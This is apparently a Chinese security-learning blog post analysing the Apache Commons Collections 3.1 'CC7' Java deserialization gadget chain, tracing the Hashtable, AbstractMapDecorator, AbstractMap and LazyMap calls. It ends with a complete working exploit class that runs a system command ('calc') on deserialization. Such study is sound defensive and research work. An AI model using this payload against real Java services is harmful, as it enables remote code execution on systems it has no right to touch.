• 版本:jdk8u25
  • 依赖:Apache Commons Collections 3.1
1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>

cc7链子详解

对cc6链子的复习

在上上次我们学习了cc6触发链子,我们取前半部分,为:

LazyMap.get->ChainedTransformer.transform->InvokeTransformer.transform

而这次的cc7利用链的后半部分和这条一模一样

cc7链子分析

就跟往常一样,我们查找谁调用了LazyMap.get这个函数

直接定位到java.util.AbstractMap类的equals函数:

equals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

获取实参o,如果o完全等于调用者(AbstractMap),返回true

如果不相等则判断o是否为map的实例,如果不是,返回false

接着判断o的长度是否等于调用者(AbstractMao)的长度,如果不是,则返回false

接着获取调用者(AbstractMao)的键值组为i,循环获取i的键值为key和value,如果value不为空,则调用m的get函数,m就是输入的o的Map实例化

那么分析到这就可以结束了,已经找到了想要的函数,那么整理一下现在的限制

  • 输入的o要是恶意LazyMap实例
  • LazyMap的实例长度要和调用者的长度相同

最好还要注意一点,这个类是抽象类,是不能实例化的,我们得找到他的子类且没有equals函数才能顺利调用到

那么HashMap类就是一个完美的选择,既是他的子类,有没有equals函数(HashMap.java里的equals函数是Node节点定义的,不是HashMap定义的)

那么接着往下,查看谁调用了equals函数

调用非常多,我们直接定位到org.apache.commons.collections.map.AbstractMapDecorator类,查看里面的equals函数

1
2
3
4
5
6
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}

这个函数就很完美了,如果输入的object不等于调用者,就调用map属性的equals函数,那么看看map属性是否可控

1
2
3
4
5
6
public AbstractMapDecorator(Map map) {
if (map == null) {
throw new IllegalArgumentException("Map must not be null");
}
this.map = map;
}

公有构造函数直接赋值了,完全可控

同样的,这个类还是抽象类,没办法实例化,我们换成LazyMap类,是它的子类,还没有equals函数

那么再查找谁调用了AbstractMapDecorator的equals函数,我们定位到java.util.Hashtable这个类,查看reconstitutionPut这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

解析一下,传入键值对数组,以及key和value,如果value是空,就抛出异常

调用key的hashcode函数,返回内容赋值给hash

让hash和0x7FFFFFFF进行与运算,之后再与键值数组(tab)的长度进行求余,并把结果赋值给index

接着从index索引开始一个一个从tab里面取键值e,如果e的hash属性(这个hash是类的属性)和前面算出来的hash相等,就调用这个键值对的key的equals函数

那么就找到目标了—-这个key应该赋值成我们的恶意AbstractMapDecortor类

最后把key和value插入到键值对tab当中,并把前面的hash值赋值给这个Entry

我们再查看AbstractMapDecorto的hashCode函数

AbstractMapDecortor.hashCode

1
2
3
public int hashCode() {
return map.hashCode();
}

返回map.hashCode的返回,记得我们上面讲的目标不,map理应赋值成我们的AbstractMap,再查看这个类的hashCode函数:

AbstractMap.hashCode

1
2
3
4
5
6
7
public int hashCode() {
int h = 0;
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext())
h += i.next().hashCode();
return h;
}

返回调用迭代器的hashCode函数,所有的加起来返回,这个个迭代器是我们HashMap迭代器,调用的理应是HashMap的hashCode

HashMap.hashCode

1
2
3
public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value);
}

调用Objects.hashCode对key和value继续操作,那我们再查看Object.hashCode

Objects.hashCode

1
2
3
public static int hashCode(Object o) {
return o != null ? o.hashCode() : 0;
}

调用输入实例的hashCode,正常习惯下,我们会把的键值设置成String

String.hashCode

1
2
3
4
5
6
7
8
9
10
11
12
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;

for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}

这种算法下有一个特例:”yy”和”zZ”的返回值是一样的,都是3872,那么我们只要保证value一样就能保证异或出来的值一样

那么继续查找谁调用到了reconstitutionPut这个函数,直接在HashTable类下的readObject就能找到:

readObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException
{
s.defaultReadObject();

int origlength = s.readInt();
int elements = s.readInt();
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
reconstitutionPut(table, key, value);
}
}

解析一下代码:

首先读取原始哈希表的大小,根据 elements 和 loadFactor 计算新的哈希表大小 length,并进行优化:

  • 确保 length 为奇数
  • 限制 length 不能超过 origlength

创建新的哈希表数组 table 并计算扩容阈值 threshold。,最后重置 count 计数器,准备插入数据。

这个table是不能完全可控的,至少第一次是,他会在调用一次reconstitutionPut后插入新的元素

我们只需要让他调用两次,在第二次调用的时候保证reconstitutionPut函数内部计算出的hash和index一样就能成功调用接下来的rce链子

调用两次的话我们得保证HashTable拥有两个元素即可,即插入两个元素不同的AbstractMapDecortor,即两个AbstractMapDecortor的map属性要不相等

那么献上exp:

exp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.*;

public class exp {
public static void main(String[] args) throws Exception{
ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
InvokerTransformer invokerTransformer1=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
InvokerTransformer invokerTransformer2=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]});
InvokerTransformer invokerTransformer3=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Transformer[] transformers=new Transformer[]{constantTransformer,invokerTransformer1,invokerTransformer2,invokerTransformer3};
Transformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashedMap();

Class clazz=Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor constructor=clazz.getDeclaredConstructor(Map.class, Transformer.class);
constructor.setAccessible(true);

HashMap abstractMap1=new HashMap();
HashMap abstractMap2=new HashMap();

LazyMap abstractMapDecorator1= (LazyMap) constructor.newInstance(abstractMap1,new ConstantTransformer(Runtime.class));
LazyMap abstractMapDecorator2= (LazyMap) constructor.newInstance(abstractMap2,new ConstantTransformer(Runtime.class));


//保证两个abstractMapDecorator元素不同
abstractMapDecorator1.put("yy","Nebu1ea");
abstractMapDecorator2.put("zZ","Nebu1ea");

Hashtable hashtable=new Hashtable();
hashtable.put(abstractMapDecorator1,"1");
hashtable.put(abstractMapDecorator2,"1");
abstractMapDecorator2.remove("yy");

Field field=abstractMapDecorator2.getClass().getDeclaredField("factory");
field.setAccessible(true);
field.set(abstractMapDecorator2,chainedTransformer);
//序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashtable);
byteArrayOutputStream.flush();
byte[] bytes = byteArrayOutputStream.toByteArray();

//反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();

}
}

那么有人可能注意到了,为啥我要多写一行abstractMapDecorator2.remove("yy");,又为啥要用反射修改把恶意链子输入到AbstractMapDecortor中去呢?是要避开什么吗

答案是在这两行:

1
2
hashtable.put(abstractMapDecorator1,"1");
hashtable.put(abstractMapDecorator2,"1");

当我们第一次往HashTable里面put元素的时候不会发生什么,但是第二次,HashTable就要保证put的元素不同而调用键值的equals函数

按上面的例子就是abstractMapDecorator1.equals(abstractMapDecorator1)

那么就会直接提前触发链子,我们不得不把剩下的恶意链子留到后面再加进去,那为啥又要把”yy”给remove掉呢?

答案是提前触发链子到LazyMap的get函数时,LazyMap调用了put函数把”yy”和transform的返回值给放到abstractMapDecorator2里面去了,如下图

那么问题全都解决了,召唤计算机

结语

cc7算是cc链合集中最难的一个了,我在审计代码的时候卡在了几个比较搞笑的地方

第一个就是HashMap.java的equals函数了,当时没看全是Node类的,琢磨了半天T_T

第二个就是我妄想用整形来实现异或相等,最后发现根本不可能

不过好在问题全都解决了

就此结束,Ciallo~~

更新于

请我喝[茶]~( ̄▽ ̄)~*

Nebu1ea 微信支付

微信支付

Nebu1ea 支付宝

支付宝

Nebu1ea 贝宝

贝宝